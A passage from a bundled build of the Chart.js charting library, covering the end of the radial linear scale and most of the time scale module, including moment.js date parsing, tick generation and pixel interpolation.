function(index) {\n\t\t\tvar angleMultiplier = (Math.PI * 2) / getValueCount(this);\n\t\t\tvar startAngle = this.chart.options && this.chart.options.startAngle ?\n\t\t\t\tthis.chart.options.startAngle :\n\t\t\t\t0;\n\n\t\t\tvar startAngleRadians = startAngle * Math.PI * 2 / 360;\n\n\t\t\t// Start from the top instead of right, so remove a quarter of the circle\n\t\t\treturn index * angleMultiplier + startAngleRadians;\n\t\t},\n\t\tgetDistanceFromCenterForValue: function(value) {\n\t\t\tvar me = this;\n\n\t\t\tif (value === null) {\n\t\t\t\treturn 0; // null always in center\n\t\t\t}\n\n\t\t\t// Take into account half font size + the yPadding of the top value\n\t\t\tvar scalingFactor = me.drawingArea / (me.max - me.min);\n\t\t\tif (me.options.ticks.reverse) {\n\t\t\t\treturn (me.max - value) * scalingFactor;\n\t\t\t}\n\t\t\treturn (value - me.min) * scalingFactor;\n\t\t},\n\t\tgetPointPosition: function(index, distanceFromCenter) {\n\t\t\tvar me = this;\n\t\t\tvar thisAngle = me.getIndexAngle(index) - (Math.PI / 2);\n\t\t\treturn {\n\t\t\t\tx: Math.round(Math.cos(thisAngle) * distanceFromCenter) + me.xCenter,\n\t\t\t\ty: Math.round(Math.sin(thisAngle) * distanceFromCenter) + me.yCenter\n\t\t\t};\n\t\t},\n\t\tgetPointPositionForValue: function(index, value) {\n\t\t\treturn this.getPointPosition(index, this.getDistanceFromCenterForValue(value));\n\t\t},\n\n\t\tgetBasePosition: function() {\n\t\t\tvar me = this;\n\t\t\tvar min = me.min;\n\t\t\tvar max = me.max;\n\n\t\t\treturn me.getPointPositionForValue(0,\n\t\t\t\tme.beginAtZero ? 0 :\n\t\t\t\tmin < 0 && max < 0 ? max :\n\t\t\t\tmin > 0 && max > 0 ? min :\n\t\t\t\t0);\n\t\t},\n\n\t\tdraw: function() {\n\t\t\tvar me = this;\n\t\t\tvar opts = me.options;\n\t\t\tvar gridLineOpts = opts.gridLines;\n\t\t\tvar tickOpts = opts.ticks;\n\t\t\tvar valueOrDefault = helpers.valueOrDefault;\n\n\t\t\tif (opts.display) {\n\t\t\t\tvar ctx = me.ctx;\n\t\t\t\tvar startAngle = this.getIndexAngle(0);\n\n\t\t\t\t// Tick Font\n\t\t\t\tvar tickFontSize = valueOrDefault(tickOpts.fontSize, globalDefaults.defaultFontSize);\n\t\t\t\tvar tickFontStyle = valueOrDefault(tickOpts.fontStyle, globalDefaults.defaultFontStyle);\n\t\t\t\tvar tickFontFamily = valueOrDefault(tickOpts.fontFamily, globalDefaults.defaultFontFamily);\n\t\t\t\tvar tickLabelFont = helpers.fontString(tickFontSize, tickFontStyle, tickFontFamily);\n\n\t\t\t\thelpers.each(me.ticks, function(label, index) {\n\t\t\t\t\t// Don't draw a centre value (if it is minimum)\n\t\t\t\t\tif (index > 0 || tickOpts.reverse) {\n\t\t\t\t\t\tvar yCenterOffset = me.getDistanceFromCenterForValue(me.ticksAsNumbers[index]);\n\n\t\t\t\t\t\t// Draw circular lines around the scale\n\t\t\t\t\t\tif (gridLineOpts.display && index !== 0) {\n\t\t\t\t\t\t\tdrawRadiusLine(me, gridLineOpts, yCenterOffset, index);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (tickOpts.display) {\n\t\t\t\t\t\t\tvar tickFontColor = valueOrDefault(tickOpts.fontColor, globalDefaults.defaultFontColor);\n\t\t\t\t\t\t\tctx.font = tickLabelFont;\n\n\t\t\t\t\t\t\tctx.save();\n\t\t\t\t\t\t\tctx.translate(me.xCenter, me.yCenter);\n\t\t\t\t\t\t\tctx.rotate(startAngle);\n\n\t\t\t\t\t\t\tif (tickOpts.showLabelBackdrop) {\n\t\t\t\t\t\t\t\tvar labelWidth = ctx.measureText(label).width;\n\t\t\t\t\t\t\t\tctx.fillStyle = tickOpts.backdropColor;\n\t\t\t\t\t\t\t\tctx.fillRect(\n\t\t\t\t\t\t\t\t\t-labelWidth / 2 - tickOpts.backdropPaddingX,\n\t\t\t\t\t\t\t\t\t-yCenterOffset - tickFontSize / 2 - tickOpts.backdropPaddingY,\n\t\t\t\t\t\t\t\t\tlabelWidth + tickOpts.backdropPaddingX * 2,\n\t\t\t\t\t\t\t\t\ttickFontSize + tickOpts.backdropPaddingY * 2\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tctx.textAlign = 'center';\n\t\t\t\t\t\t\tctx.textBaseline = 'middle';\n\t\t\t\t\t\t\tctx.fillStyle = tickFontColor;\n\t\t\t\t\t\t\tctx.fillText(label, 0, -yCenterOffset);\n\t\t\t\t\t\t\tctx.restore();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t\tif (opts.angleLines.display || opts.pointLabels.display) {\n\t\t\t\t\tdrawPointLabels(me);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\tChart.scaleService.registerScaleType('radialLinear', LinearRadialScale, defaultConfig);\n\n};\n\n},{\"25\":25,\"34\":34,\"45\":45}],58:[function(require,module,exports){\n/* global window: false */\n'use strict';\n\nvar moment = require(1);\nmoment = typeof moment === 'function' ? moment : window.moment;\n\nvar defaults = require(25);\nvar helpers = require(45);\n\n// Integer constants are from the ES6 spec.\nvar MIN_INTEGER = Number.MIN_SAFE_INTEGER || -9007199254740991;\nvar MAX_INTEGER = Number.MAX_SAFE_INTEGER || 9007199254740991;\n\nvar INTERVALS = {\n\tmillisecond: {\n\t\tcommon: true,\n\t\tsize: 1,\n\t\tsteps: [1, 2, 5, 10, 20, 50, 100, 250, 500]\n\t},\n\tsecond: {\n\t\tcommon: true,\n\t\tsize: 1000,\n\t\tsteps: [1, 2, 5, 10, 30]\n\t},\n\tminute: {\n\t\tcommon: true,\n\t\tsize: 60000,\n\t\tsteps: [1, 2, 5, 10, 30]\n\t},\n\thour: {\n\t\tcommon: true,\n\t\tsize: 3600000,\n\t\tsteps: [1, 2, 3, 6, 12]\n\t},\n\tday: {\n\t\tcommon: true,\n\t\tsize: 86400000,\n\t\tsteps: [1, 2, 5]\n\t},\n\tweek: {\n\t\tcommon: false,\n\t\tsize: 604800000,\n\t\tsteps: [1, 2, 3, 4]\n\t},\n\tmonth: {\n\t\tcommon: true,\n\t\tsize: 2.628e9,\n\t\tsteps: [1, 2, 3]\n\t},\n\tquarter: {\n\t\tcommon: false,\n\t\tsize: 7.884e9,\n\t\tsteps: [1, 2, 3, 4]\n\t},\n\tyear: {\n\t\tcommon: true,\n\t\tsize: 3.154e10\n\t}\n};\n\nvar UNITS = Object.keys(INTERVALS);\n\nfunction sorter(a, b) {\n\treturn a - b;\n}\n\nfunction arrayUnique(items) {\n\tvar hash = {};\n\tvar out = [];\n\tvar i, ilen, item;\n\n\tfor (i = 0, ilen = items.length; i < ilen; ++i) {\n\t\titem = items[i];\n\t\tif (!hash[item]) {\n\t\t\thash[item] = true;\n\t\t\tout.push(item);\n\t\t}\n\t}\n\n\treturn out;\n}\n\n/**\n * Returns an array of {time, pos} objects used to interpolate a specific `time` or position\n * (`pos`) on the scale, by searching entries before and after the requested value. `pos` is\n * a decimal between 0 and 1: 0 being the start of the scale (left or top) and 1 the other\n * extremity (left + width or top + height). Note that it would be more optimized to directly\n * store pre-computed pixels, but the scale dimensions are not guaranteed at the time we need\n * to create the lookup table. The table ALWAYS contains at least two items: min and max.\n *\n * @param {Number[]} timestamps - timestamps sorted from lowest to highest.\n * @param {String} distribution - If 'linear', timestamps will be spread linearly along the min\n * and max range, so basically, the table will contains only two items: {min, 0} and {max, 1}.\n * If 'series', timestamps will be positioned at the same distance from each other. In this\n * case, only timestamps that break the time linearity are registered, meaning that in the\n * best case, all timestamps are linear, the table contains only min and max.\n */\nfunction buildLookupTable(timestamps, min, max, distribution) {\n\tif (distribution === 'linear' || !timestamps.length) {\n\t\treturn [\n\t\t\t{time: min, pos: 0},\n\t\t\t{time: max, pos: 1}\n\t\t];\n\t}\n\n\tvar table = [];\n\tvar items = [min];\n\tvar i, ilen, prev, curr, next;\n\n\tfor (i = 0, ilen = timestamps.length; i < ilen; ++i) {\n\t\tcurr = timestamps[i];\n\t\tif (curr > min && curr < max) {\n\t\t\titems.push(curr);\n\t\t}\n\t}\n\n\titems.push(max);\n\n\tfor (i = 0, ilen = items.length; i < ilen; ++i) {\n\t\tnext = items[i + 1];\n\t\tprev = items[i - 1];\n\t\tcurr = items[i];\n\n\t\t// only add points that breaks the scale linearity\n\t\tif (prev === undefined || next === undefined || Math.round((next + prev) / 2) !== curr) {\n\t\t\ttable.push({time: curr, pos: i / (ilen - 1)});\n\t\t}\n\t}\n\n\treturn table;\n}\n\n// @see adapted from http://www.anujgakhar.com/2014/03/01/binary-search-in-javascript/\nfunction lookup(table, key, value) {\n\tvar lo = 0;\n\tvar hi = table.length - 1;\n\tvar mid, i0, i1;\n\n\twhile (lo >= 0 && lo <= hi) {\n\t\tmid = (lo + hi) >> 1;\n\t\ti0 = table[mid - 1] || null;\n\t\ti1 = table[mid];\n\n\t\tif (!i0) {\n\t\t\t// given value is outside table (before first item)\n\t\t\treturn {lo: null, hi: i1};\n\t\t} else if (i1[key] < value) {\n\t\t\tlo = mid + 1;\n\t\t} else if (i0[key] > value) {\n\t\t\thi = mid - 1;\n\t\t} else {\n\t\t\treturn {lo: i0, hi: i1};\n\t\t}\n\t}\n\n\t// given value is outside table (after last item)\n\treturn {lo: i1, hi: null};\n}\n\n/**\n * Linearly interpolates the given source `value` using the table items `skey` values and\n * returns the associated `tkey` value. For example, interpolate(table, 'time', 42, 'pos')\n * returns the position for a timestamp equal to 42. If value is out of bounds, values at\n * index [0, 1] or [n - 1, n] are used for the interpolation.\n */\nfunction interpolate(table, skey, sval, tkey) {\n\tvar range = lookup(table, skey, sval);\n\n\t// Note: the lookup table ALWAYS contains at least 2 items (min and max)\n\tvar prev = !range.lo ? table[0] : !range.hi ? table[table.length - 2] : range.lo;\n\tvar next = !range.lo ? table[1] : !range.hi ? table[table.length - 1] : range.hi;\n\n\tvar span = next[skey] - prev[skey];\n\tvar ratio = span ? (sval - prev[skey]) / span : 0;\n\tvar offset = (next[tkey] - prev[tkey]) * ratio;\n\n\treturn prev[tkey] + offset;\n}\n\n/**\n * Convert the given value to a moment object using the given time options.\n * @see http://momentjs.com/docs/#/parsing/\n */\nfunction momentify(value, options) {\n\tvar parser = options.parser;\n\tvar format = options.parser || options.format;\n\n\tif (typeof parser === 'function') {\n\t\treturn parser(value);\n\t}\n\n\tif (typeof value === 'string' && typeof format === 'string') {\n\t\treturn moment(value, format);\n\t}\n\n\tif (!(value instanceof moment)) {\n\t\tvalue = moment(value);\n\t}\n\n\tif (value.isValid()) {\n\t\treturn value;\n\t}\n\n\t// Labels are in an incompatible moment format and no `parser` has been provided.\n\t// The user might still use the deprecated `format` option to convert his inputs.\n\tif (typeof format === 'function') {\n\t\treturn format(value);\n\t}\n\n\treturn value;\n}\n\nfunction parse(input, scale) {\n\tif (helpers.isNullOrUndef(input)) {\n\t\treturn null;\n\t}\n\n\tvar options = scale.options.time;\n\tvar value = momentify(scale.getRightValue(input), options);\n\tif (!value.isValid()) {\n\t\treturn null;\n\t}\n\n\tif (options.round) {\n\t\tvalue.startOf(options.round);\n\t}\n\n\treturn value.valueOf();\n}\n\n/**\n * Returns the number of unit to skip to be able to display up to `capacity` number of ticks\n * in `unit` for the given `min` / `max` range and respecting the interval steps constraints.\n */\nfunction determineStepSize(min, max, unit, capacity) {\n\tvar range = max - min;\n\tvar interval = INTERVALS[unit];\n\tvar milliseconds = interval.size;\n\tvar steps = interval.steps;\n\tvar i, ilen, factor;\n\n\tif (!steps) {\n\t\treturn Math.ceil(range / (capacity * milliseconds));\n\t}\n\n\tfor (i = 0, ilen = steps.length; i < ilen; ++i) {\n\t\tfactor = steps[i];\n\t\tif (Math.ceil(range / (milliseconds * factor)) <= capacity) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn factor;\n}\n\n/**\n * Figures out what unit results in an appropriate number of auto-generated ticks\n */\nfunction determineUnitForAutoTicks(minUnit, min, max, capacity) {\n\tvar ilen = UNITS.length;\n\tvar i, interval, factor;\n\n\tfor (i = UNITS.indexOf(minUnit); i < ilen - 1; ++i) {\n\t\tinterval = INTERVALS[UNITS[i]];\n\t\tfactor = interval.steps ? interval.steps[interval.steps.length - 1] : MAX_INTEGER;\n\n\t\tif (interval.common && Math.ceil((max - min) / (factor * interval.size)) <= capacity) {\n\t\t\treturn UNITS[i];\n\t\t}\n\t}\n\n\treturn UNITS[ilen - 1];\n}\n\n/**\n * Figures out what unit to format a set of ticks with\n */\nfunction determineUnitForFormatting(ticks, minUnit, min, max) {\n\tvar duration = moment.duration(moment(max).diff(moment(min)));\n\tvar ilen = UNITS.length;\n\tvar i, unit;\n\n\tfor (i = ilen - 1; i >= UNITS.indexOf(minUnit); i--) {\n\t\tunit = UNITS[i];\n\t\tif (INTERVALS[unit].common && duration.as(unit) >= ticks.length) {\n\t\t\treturn unit;\n\t\t}\n\t}\n\n\treturn UNITS[minUnit ? UNITS.indexOf(minUnit) : 0];\n}\n\nfunction determineMajorUnit(unit) {\n\tfor (var i = UNITS.indexOf(unit) + 1, ilen = UNITS.length; i < ilen; ++i) {\n\t\tif (INTERVALS[UNITS[i]].common) {\n\t\t\treturn UNITS[i];\n\t\t}\n\t}\n}\n\n/**\n * Generates a maximum of `capacity` timestamps between min and max, rounded to the\n * `minor` unit, aligned on the `major` unit and using the given scale time `options`.\n * Important: this method can return ticks outside the min and max range, it's the\n * responsibility of the calling code to clamp values if needed.\n */\nfunction generate(min, max, capacity, options) {\n\tvar timeOpts = options.time;\n\tvar minor = timeOpts.unit || determineUnitForAutoTicks(timeOpts.minUnit, min, max, capacity);\n\tvar major = determineMajorUnit(minor);\n\tvar stepSize = helpers.valueOrDefault(timeOpts.stepSize, timeOpts.unitStepSize);\n\tvar weekday = minor === 'week' ? timeOpts.isoWeekday : false;\n\tvar majorTicksEnabled = options.ticks.major.enabled;\n\tvar interval = INTERVALS[minor];\n\tvar first = moment(min);\n\tvar last = moment(max);\n\tvar ticks = [];\n\tvar time;\n\n\tif (!stepSize) {\n\t\tstepSize = determineStepSize(min, max, minor, capacity);\n\t}\n\n\t// For 'week' unit, handle the first day of week option\n\tif (weekday) {\n\t\tfirst = first.isoWeekday(weekday);\n\t\tlast = last.isoWeekday(weekday);\n\t}\n\n\t// Align first/last ticks on unit\n\tfirst = first.startOf(weekday ? 'day' : minor);\n\tlast = last.startOf(weekday ? 'day' : minor);\n\n\t// Make sure that the last tick include max\n\tif (last < max) {\n\t\tlast.add(1, minor);\n\t}\n\n\ttime = moment(first);\n\n\tif (majorTicksEnabled && major && !weekday && !timeOpts.round) {\n\t\t// Align the first tick on the previous `minor` unit aligned on the `major` unit:\n\t\t// we first aligned time on the previous `major` unit then add the number of full\n\t\t// stepSize there is between first and the previous major time.\n\t\ttime.startOf(major);\n\t\ttime.add(~~((first - time) / (interval.size * stepSize)) * stepSize, minor);\n\t}\n\n\tfor (; time < last; time.add(stepSize, minor)) {\n\t\tticks.push(+time);\n\t}\n\n\tticks.push(+time);\n\n\treturn ticks;\n}\n\n/**\n * Returns the right and left offsets from edges in the form of {left, right}.\n * Offsets are added when the `offset` option is true.\n */\nfunction computeOffsets(table, ticks, min, max, options) {\n\tvar left = 0;\n\tvar right = 0;\n\tvar upper, lower;\n\n\tif (options.offset && ticks.length) {\n\t\tif (!options.time.min) {\n\t\t\tupper = ticks.length > 1 ? ticks[1] : max;\n\t\t\tlower = ticks[0];\n\t\t\tleft = (\n\t\t\t\tinterpolate(table, 'time', upper, 'pos') -\n\t\t\t\tinterpolate(table, 'time', lower, 'pos')\n\t\t\t) / 2;\n\t\t}\n\t\tif (!options.time.max) {\n\t\t\tupper = ticks[ticks.length - 1];\n\t\t\tlower = ticks.length > 1 ? ticks[ticks.length - 2] : min;\n\t\t\tright = (\n\t\t\t\tinterpolate(table, 'time', upper, 'pos') -\n\t\t\t\tinterpolate(table, 'time', lower, 'pos')\n\t\t\t) / 2;\n\t\t}\n\t}\n\n\treturn {left: left, right: right};\n}\n\nfunction ticksFromTimestamps(values, majorUnit) {\n\tvar ticks = [];\n\tvar i, ilen, value, major;\n\n\tfor (i = 0, ilen = values.length; i < ilen; ++i) {\n\t\tvalue = values[i];\n\t\tmajor = majorUnit ? value === +moment(value).startOf(majorUnit) : false;\n\n\t\tticks.push({\n\t\t\tvalue: value,\n\t\t\tmajor: major\n\t\t});\n\t}\n\n\treturn ticks;\n}\n\nfunction determineLabelFormat(data, timeOpts) {\n\tvar i, momentDate, hasTime;\n\tvar ilen = data.length;\n\n\t// find the label with the most parts (milliseconds, minutes, etc.)\n\t// format all labels with the same level of detail as the most specific label\n\tfor (i = 0; i < ilen; i++) {\n\t\tmomentDate = momentify(data[i], timeOpts);\n\t\tif (momentDate.millisecond() !== 0) {\n\t\t\treturn 'MMM D, YYYY h:mm:ss.SSS a';\n\t\t}\n\t\tif (momentDate.second() !== 0 || momentDate.minute() !== 0 || momentDate.hour() !== 0) {\n\t\t\thasTime = true;\n\t\t}\n\t}\n\tif (hasTime) {\n\t\treturn 'MMM D, YYYY h:mm:ss a';\n\t}\n\treturn 'MMM D, YYYY';\n}\n\nmodule.exports = function(Chart) {\n\n\tvar defaultConfig = {\n\t\tposition: 'bottom',\n\n\t\t/**\n\t\t * Data distribution along the scale:\n\t\t * - 'linear': data are spread according to their time (distances can vary),\n\t\t * - 'series': data are spread at the same distance from each other.\n\t\t * @see https://github.com/chartjs/Chart.js/pull/4507\n\t\t * @since 2.7.0\n\t\t */\n\t\tdistribution: 'linear',\n\n\t\t/**\n\t\t * Scale boundary strategy (bypassed by min/max time options)\n\t\t * - `data`: make sure data are fully visible, ticks outside are removed\n\t\t * - `ticks`: make sure ticks are fully visible, data outside are truncated\n\t\t * @see https://github.com/chartjs/Chart.js/pull/4556\n\t\t * @since 2.7.0\n\t\t */\n\t\tbounds: 'data',\n\n\t\ttime: {\n\t\t\tparser: false, // false == a pattern string from http://momentjs.com/docs/#/parsing/string-format/ or a custom callback that converts its argument to a moment\n\t\t\tformat: false, // DEPRECATED false == date objects, moment object, callback or a pattern string from http://momentjs.com/docs/#/parsing/string-format/\n\t\t\tunit: false, // false == automatic or override with week, month, year, etc.\n\t\t\tround: false, // none, or override with week, month, year, etc.\n\t\t\tdisplayFormat: false, // DEPRECATED\n\t\t\tisoWeekday: false, // override week start day - see http://momentjs.com/docs/#/get-set/iso-weekday/\n\t\t\tminUnit: 'millisecond',\n\n\t\t\t// defaults to unit's corresponding unitFormat below or override using pattern string from http://momentjs.com/docs/#/displaying/format/\n\t\t\tdisplayFormats: {\n\t\t\t\tmillisecond: 'h:mm:ss.SSS a', // 11:20:01.123 AM,\n\t\t\t\tsecond: 'h:mm:ss a', // 11:20:01 AM\n\t\t\t\tminute: 'h:mm a', // 11:20 AM\n\t\t\t\thour: 'hA', // 5PM\n\t\t\t\tday: 'MMM D', // Sep 4\n\t\t\t\tweek: 'll', // Week 46, or maybe \"[W]WW - YYYY\" ?\n\t\t\t\tmonth: 'MMM YYYY', // Sept 2015\n\t\t\t\tquarter: '[Q]Q - YYYY', // Q3\n\t\t\t\tyear: 'YYYY' // 2015\n\t\t\t},\n\t\t},\n\t\tticks: {\n\t\t\tautoSkip: false,\n\n\t\t\t/**\n\t\t\t * Ticks generation input values:\n\t\t\t * - 'auto': generates \"optimal\" ticks based on scale size and time options.\n\t\t\t * - 'data': generates ticks from data (including labels from data {t|x|y} objects).\n\t\t\t * - 'labels': generates ticks from user given `data.labels` values ONLY.\n\t\t\t * @see https://github.com/chartjs/Chart.js/pull/4507\n\t\t\t * @since 2.7.0\n\t\t\t */\n\t\t\tsource: 'auto',\n\n\t\t\tmajor: {\n\t\t\t\tenabled: false\n\t\t\t}\n\t\t}\n\t};\n\n\tvar TimeScale = Chart.Scale.extend({\n\t\tinitialize: function() {\n\t\t\tif (!moment) {\n\t\t\t\tthrow new Error('Chart.js - Moment.js could not be found! You must include it before Chart.js to use the time scale. Download at https://momentjs.com');\n\t\t\t}\n\n\t\t\tthis.mergeTicksOptions();\n\n\t\t\tChart.Scale.prototype.initialize.call(this);\n\t\t},\n\n\t\tupdate: function() {\n\t\t\tvar me = this;\n\t\t\tvar options = me.options;\n\n\t\t\t// DEPRECATIONS: output a message only one time per update\n\t\t\tif (options.time && options.time.format) {\n\t\t\t\tconsole.warn('options.time.format is deprecated and replaced by options.time.parser.');\n\t\t\t}\n\n\t\t\treturn Chart.Scale.prototype.update.apply(me, arguments);\n\t\t},\n\n\t\t/**\n\t\t * Allows data to be referenced via 't' attribute\n\t\t */\n\t\tgetRightValue: function(rawValue) {\n\t\t\tif (rawValue && rawValue.t !== undefined) {\n\t\t\t\trawValue = rawValue.t;\n\t\t\t}\n\t\t\treturn Chart.Scale.prototype.getRightValue.call(this, rawValue);\n\t\t},\n\n\t\tdetermineDataLimits: function() {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar timeOpts = me.options.time;\n\t\t\tvar unit = timeOpts.unit || 'day';\n\t\t\tvar min = MAX_INTEGER;\n\t\t\tvar max = MIN_INTEGER;\n\t\t\tvar timestamps = [];\n\t\t\tvar datasets = [];\n\t\t\tvar labels = [];\n\t\t\tvar i, j, ilen, jlen, data, timestamp;\n\n\t\t\t// Convert labels to timestamps\n\t\t\tfor (i = 0, ilen = chart.data.labels.length; i < ilen; ++i) {\n\t\t\t\tlabels.push(parse(chart.data.labels[i], me));\n\t\t\t}\n\n\t\t\t// Convert data to timestamps\n\t\t\tfor (i = 0, ilen = (chart.data.datasets || []).length; i < ilen; ++i) {\n\t\t\t\tif (chart.isDatasetVisible(i)) {\n\t\t\t\t\tdata = chart.data.datasets[i].data;\n\n\t\t\t\t\t// Let's consider that all data have the same format.\n\t\t\t\t\tif (helpers.isObject(data[0])) {\n\t\t\t\t\t\tdatasets[i] = [];\n\n\t\t\t\t\t\tfor (j = 0, jlen = data.length; j < jlen; ++j) {\n\t\t\t\t\t\t\ttimestamp = parse(data[j], me);\n\t\t\t\t\t\t\ttimestamps.push(timestamp);\n\t\t\t\t\t\t\tdatasets[i][j] = timestamp;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttimestamps.push.apply(timestamps, labels);\n\t\t\t\t\t\tdatasets[i] = labels.slice(0);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tdatasets[i] = [];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (labels.length) {\n\t\t\t\t// Sort labels **after** data have been converted\n\t\t\t\tlabels = arrayUnique(labels).sort(sorter);\n\t\t\t\tmin = Math.min(min, labels[0]);\n\t\t\t\tmax = Math.max(max, labels[labels.length - 1]);\n\t\t\t}\n\n\t\t\tif (timestamps.length) {\n\t\t\t\ttimestamps = arrayUnique(timestamps).sort(sorter);\n\t\t\t\tmin = Math.min(min, timestamps[0]);\n\t\t\t\tmax = Math.max(max, timestamps[timestamps.length - 1]);\n\t\t\t}\n\n\t\t\tmin = parse(timeOpts.min, me) || min;\n\t\t\tmax = parse(timeOpts.max, me) || max;\n\n\t\t\t// In case there is no valid min/max, set limits based on unit time option\n\t\t\tmin = min === MAX_INTEGER ? +moment().startOf(unit) : min;\n\t\t\tmax = max === MIN_INTEGER ? +moment().endOf(unit) + 1 : max;\n\n\t\t\t// Make sure that max is strictly higher than min (required by the lookup table)\n\t\t\tme.min = Math.min(min, max);\n\t\t\tme.max = Math.max(min + 1, max);\n\n\t\t\t// PRIVATE\n\t\t\tme._horizontal = me.isHorizontal();\n\t\t\tme._table = [];\n\t\t\tme._timestamps = {\n\t\t\t\tdata: timestamps,\n\t\t\t\tdatasets: datasets,\n\t\t\t\tlabels: labels\n\t\t\t};\n\t\t},\n\n\t\tbuildTicks: function() {\n\t\t\tvar me = this;\n\t\t\tvar min = me.min;\n\t\t\tvar max = me.max;\n\t\t\tvar options = me.options;\n\t\t\tvar timeOpts = options.time;\n\t\t\tvar timestamps = [];\n\t\t\tvar ticks = [];\n\t\t\tvar i, ilen, timestamp;\n\n\t\t\tswitch (options.ticks.source) {\n\t\t\tcase 'data':\n\t\t\t\ttimestamps = me._timestamps.data;\n\t\t\t\tbreak;\n\t\t\tcase 'labels':\n\t\t\t\ttimestamps = me._timestamps.labels;\n\t\t\t\tbreak;\n\t\t\tcase 'auto':\n\t\t\tdefault:\n\t\t\t\ttimestamps = generate(min, max, me.getLabelCapacity(min), options);\n\t\t\t}\n\n\t\t\tif (options.bounds === 'ticks' && timestamps.length) {\n\t\t\t\tmin = timestamps[0];\n\t\t\t\tmax = timestamps[timestamps.length - 1];\n\t\t\t}\n\n\t\t\t// Enforce limits with user min/max options\n\t\t\tmin = parse(timeOpts.min, me) || min;\n\t\t\tmax = parse(timeOpts.max, me) || max;\n\n\t\t\t// Remove ticks outside the min/max range\n\t\t\tfor (i = 0, ilen = timestamps.length; i < ilen; ++i) {\n\t\t\t\ttimestamp = timestamps[i];\n\t\t\t\tif (timestamp >= min && timestamp <= max) {\n\t\t\t\t\tticks.push(timestamp);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tme.min = min;\n\t\t\tme.max = max;\n\n\t\t\t// PRIVATE\n\t\t\tme._unit = timeOpts.unit || determineUnitForFormatting(ticks, timeOpts.minUnit, me.min, me.max);\n\t\t\tme._majorUnit = determineMajorUnit(me._unit);\n\t\t\tme._table = buildLookupTable(me._timestamps.data, min, max, options.distribution);\n\t\t\tme._offsets = computeOffsets(me._table, ticks, min, max, options);\n\t\t\tme._labelFormat = determineLabelFormat(me._timestamps.data, timeOpts);\n\n\t\t\treturn ticksFromTimestamps(ticks, me._majorUnit);\n\t\t},\n\n\t\tgetLabelForIndex: function(index, datasetIndex) {\n\t\t\tvar me = this;\n\t\t\tvar data = me.chart.data;\n\t\t\tvar timeOpts = me.options.time;\n\t\t\tvar label = data.labels && index < data.labels.length ? data.labels[index] : '';\n\t\t\tvar value = data.datasets[datasetIndex].data[index];\n\n\t\t\tif (helpers.isObject(value)) {\n\t\t\t\tlabel = me.getRightValue(value);\n\t\t\t}\n\t\t\tif (timeOpts.tooltipFormat) {\n\t\t\t\treturn momentify(label, timeOpts).format(timeOpts.tooltipFormat);\n\t\t\t}\n\t\t\tif (typeof label === 'string') {\n\t\t\t\treturn label;\n\t\t\t}\n\n\t\t\treturn momentify(label, timeOpts).format(me._labelFormat);\n\t\t},\n\n\t\t/**\n\t\t * Function to format an individual tick mark\n\t\t * @private\n\t\t */\n\t\ttickFormatFunction: function(tick, index, ticks, formatOverride) {\n\t\t\tvar me = this;\n\t\t\tvar options = me.options;\n\t\t\tvar time = tick.valueOf();\n\t\t\tvar formats = options.time.displayFormats;\n\t\t\tvar minorFormat = formats[me._unit];\n\t\t\tvar majorUnit = me._majorUnit;\n\t\t\tvar majorFormat = formats[majorUnit];\n\t\t\tvar majorTime = tick.clone().startOf(majorUnit).valueOf();\n\t\t\tvar majorTickOpts = options.ticks.major;\n\t\t\tvar major = majorTickOpts.enabled && majorUnit && majorFormat && time === majorTime;\n\t\t\tvar label = tick.format(formatOverride ? formatOverride : major ? majorFormat : minorFormat);\n\t\t\tvar tickOpts = major ? majorTickOpts : options.ticks.minor;\n\t\t\tvar formatter = helpers.valueOrDefault(tickOpts.callback, tickOpts.userCallback);\n\n\t\t\treturn formatter ? formatter(label, index, ticks) : label;\n\t\t},\n\n\t\tconvertTicksToLabels: function(ticks) {\n\t\t\tvar labels = [];\n\t\t\tvar i, ilen;\n\n\t\t\tfor (i = 0, ilen = ticks.length; i < ilen; ++i) {\n\t\t\t\tlabels.push(this.tickFormatFunction(moment(ticks[i].value), i, ticks));\n\t\t\t}\n\n\t\t\treturn labels;\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tgetPixelForOffset: function(time) {\n\t\t\tvar me = this;\n\t\t\tvar size = me._horizontal ? me.width : me.height;\n\t\t\tvar start = me._horizontal ? me.left : me.top;\n\t\t\tvar pos = interpolate(me._table, 'time', time, 'pos');\n\n\t\t\treturn start + size * (me._offsets.left + pos) / (me._offsets.left + 1 + me._offsets.right);\n\t\t},\n\n\t\tgetPixelForValue: function(value, index, datasetIndex) {\n\t\t\tvar me = this;\n\t\t\tvar time = null;\n\n\t\t\tif (index !== undefined && datasetIndex !== undefined) {\n\t\t\t\ttime = me._timestamps.datasets[datasetIndex][index];\n\t\t\t}\n\n\t\t\tif (time === null) {\n\t\t\t\ttime = parse(value, me);\n\t\t\t}\n\n\t\t\tif (time !== null) {\n\t\t\t\treturn me.getPixelForOffset(time);\n\t\t\t}\n\t\t},\n\n\t\tgetPixelForTick: function(index) {\n\t\t\tvar ticks = this.getTicks();\n\t\t\treturn index >= 0 && index < ticks.length ?\n\t\t\t\tthis.getPixelForOffset(ticks[index].value) :\n\t\t\t\tnull;\n\t\t},\n\n\t\tgetValueForPixel: function(pixel) {\n\t\t\tvar me = this;\n\t\t\tvar size = me._horizontal ? me.width : me.height;\n\t\t\tvar start = me._horizontal ? me.left : me.top;\n\t\t\tvar pos = (size ? (pixel - start) / size : 0) * (me._offsets.left + 1 + me._offsets.left) - me._offsets.right;\n\t\t\tvar time = interpolate(me._table, 'pos', pos, 'time');\n\n\t\t\treturn moment(time);\n\t\t},\n\n\t\t/**\n\t\t * Crude approximation of what the label width might be\n\t\t * @private\n\t\t */\n\t\tgetLabelWidth: function(label) {\n\t\t\tvar me = this;\n\t\t\tvar ticksOpts = me.options.ticks;\n\t\t\tvar tickLabelWidth = me.ctx.measureText(label).width;\n\t\t\tvar angle = helpers.toRadians(ticksOpts.maxRotation);\n\t\t\tvar cosRotation = 